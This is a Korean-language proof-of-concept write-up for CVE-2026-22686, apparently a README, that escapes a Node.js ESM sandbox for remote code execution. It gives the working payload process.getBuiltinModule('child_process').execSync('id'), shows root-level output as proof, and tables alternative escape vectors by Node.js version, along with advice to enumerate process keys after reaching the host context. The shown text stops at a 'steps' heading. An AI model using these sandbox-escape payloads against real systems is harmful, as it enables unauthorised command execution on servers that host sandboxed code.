
CVE-2026-22686에 대한 개념 증명 익스플로잇으로, Node.js ESM 샌드박스에서 process.getBuiltinModule를 통해 모듈 제한을 우회하여 원격 코드 실행을 시연합니다.
| 벡터 | 결과 |
|---|
require('child_process') | ❌ require is not defined — ESM에서는 사용 불가 |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — ESM에서 mainModule은 undefined |
import('child_process') | ❌ A dynamic import callback was not specified — 샌드박스에 구성되지 않은 훅 필요 |
process.binding('spawn_sync') | ⚠️ 사용 가능하지만 너무 저수준 — 수동 syscall 구성 필요 |
process.getBuiltinModule모듈 로딩 방식을 가정하는 대신, 호스트 컨텍스트(샌드박스 탈출 후 이미 접근 가능)에서 직접 process 키를 열거합니다:
return Object.keys(process)
반환된 키 중에서 getBuiltinModule이 확인되었습니다 — 이는 Node.js 22+ 네이티브 API로,
ESM 모듈이 require 또는 import() 없이 Node.js 내장 모듈에 접근할 수 있도록
특별히 설계되었습니다.
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE 확인
이것이 핵심 통찰력입니다: process.getBuiltinModule은 비교적 새로운 API
(Node.js >= 22.3.0)이며, require와 import를 차단하는 샌드박스 구현 및
WAF 규칙에서 자주 간과됩니다.
대상 환경에 따라 process를 열거한 후 다른 벡터를 사용할 수 있습니다:
| 벡터 | Node.js 버전 | 참고 |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ 가장 깔끔함 — 공식 ESM 안전 API |
process.binding('spawn_sync') | 전체 | ⚠️ 저수준, 수동 버퍼 구성 필요 |
process.mainModule.require(...) | CJS 전용 | ❌ ESM에서는 undefined |
__non_webpack_require__ | Webpack 번들 | ⚠️ 환경별 |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ 호스트에서 Module 참조 필요 |
process._linkedBinding('node_os') | 내부 빌드 | ⚠️ 거의 노출되지 않음 |
핵심 요점: 호스트 컨텍스트 접근을 달성한 후 항상
Object.keys(process)를 열거하세요. 사용 가능한 공격 표면은 Node.js 버전과 프로젝트 구성에 따라 크게 다릅니다.getBuiltinModule은 최신 Node.js ESM 환경에서 가장 신뢰할 수 있는 벡터입니다.
단계:
